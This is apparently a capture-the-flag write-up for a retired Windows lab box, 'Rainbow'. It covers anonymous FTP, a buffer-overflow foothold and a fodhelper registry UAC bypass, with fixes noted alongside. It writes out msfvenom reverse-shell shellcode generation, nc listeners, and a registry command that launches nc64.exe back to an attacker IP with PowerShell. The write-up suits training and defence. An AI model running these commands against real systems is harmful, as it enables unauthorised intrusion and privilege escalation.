Rainbow
Summary
I found an anonymous-access FTP server that exposed the source binary and operator notes for a custom in-development web service listening on port 8080. The notes revealed the service crashes and auto-restarts, and that it accepts a raw POST body which was never bounds-checked.
A crafted oversized request corrupted the service's memory and redirected execution into my own code, producing a reverse shell as the local 'rainbow' account and the user flag. That account sits in the Administrators group but runs with a UAC-filtered standard token, so I moved to a full 64-bit shell and abused a well-known auto-elevating Windows utility by planting a registry command handler for it, which ran my code with full Administrator rights with no prompt - yielding the root flag and full system compromise.
Command conventions
The commands below refer to the target and to any recovered credentials by variable rather than by value. Bind them in your shell before running anything; the values this box yielded are not published, so use your own.
export TARGET="<retired-instance-ip>"
export ATTACKER_IP="<your-vpn-address>"Attack path — how the box was taken
Exact commands 2
Full TCP port scan with service/version detection.
$ nmap -sC -sV -p- --min-rate 2000 -oN rainbow.nmap $TARGETConfirm the custom 'Rainbow 0.1' service banner.
$ curl -si http://$TARGET:8080/Exact commands 3
Login as 'anonymous' with a blank or email-style password.
$ ftp $TARGETRetrieve developer notes describing crash/restart behavior.
$ get dev.txtRetrieve the vulnerable service binary for offline fuzzing/analysis.
$ get rainbow.exeFixDisable anonymous FTP and remove development artifacts from itHigh
Exact commands 3
Start a listener to catch the reverse shell before sending the exploit.
$ nc -lvnp 443Generate bad-character-free x86 reverse-shell shellcode for the vulnerable 32-bit process.
$ msfvenom -a x86 --platform windows -p windows/shell_reverse_tcp -b "\x00\x0a\x0d" LHOST=$ATTACKER_IP LPORT=443 -f pythonCustom PoC that builds the oversized request (padding, control-flow redirect, and staged shellcode) and sends it as the POST body; rebuild this script against the live binary, as exact offsets are build-specific.
$ python3 rainbow_exploit.py $TARGET 8080FixFix the unchecked buffer in the custom HTTP service and run it with reduced privilegeCritical
Exact commands 2
Confirm the identity and bitness of the new shell.
$ whoami & echo %PROCESSOR_ARCHITECTURE%Read the user flag; replace output with <user.txt> when reporting.
$ type C:\Users\rainbow\Desktop\user.txtExact commands 2
Launch a native 64-bit cmd.exe from the 32-bit WOW64 shell.
$ C:\Windows\Sysnative\cmd.exeConfirm the shell is now 64-bit (AMD64).
$ whoami & echo %PROCESSOR_ARCHITECTURE%Exact commands 5
Start a second listener to catch the elevated callback.
$ nc -lvnp 445Create the hijacked command key under the current user's hive.
$ New-Item -Path 'HKCU:\Software\Classes\ms-settings\Shell\Open\command' -ForceRequired marker property for the auto-elevate flow to use this key.
$ New-ItemProperty -Path 'HKCU:\Software\Classes\ms-settings\Shell\Open\command' -Name DelegateExecute -Value '' -PropertyType String -ForcePoint the hijacked key at a reverse shell binary staged earlier via curl/certutil.
$ Set-ItemProperty -Path 'HKCU:\Software\Classes\ms-settings\Shell\Open\command' -Name '(default)' -Value "C:\ProgramData\nc64.exe $ATTACKER_IP 445 -e powershell.exe" -ForceTrigger the auto-elevating utility; it runs the hijacked command with a full Administrator token.
$ Start-Process C:\Windows\system32\fodhelper.exe -WindowStyle HiddenFixHarden UAC and remove standing local-admin membership for service/application accountsCritical
Exact commands 2
Confirm the Administrators group entry no longer shows as integrity-filtered/deny-only.
$ whoami /groupsRead the root flag; replace output with <root.txt> when reporting.
$ type C:\Users\Administrator\Desktop\root.txtExposed services
| 21/tcp | ftp Microsoft ftpd |
| 80/tcp | http Microsoft IIS httpd 10.0 |
| 135/tcp | rpc recon-sweep-discovered |
| 139/tcp | smb recon-sweep-discovered |
| 445/tcp | smb recon-sweep-discovered |
| 3389/tcp | ms-wbt-server Microsoft Terminal Services |
| 8080/tcp | http-proxy |
| 49668/tcp | unknown recon-sweep-discovered |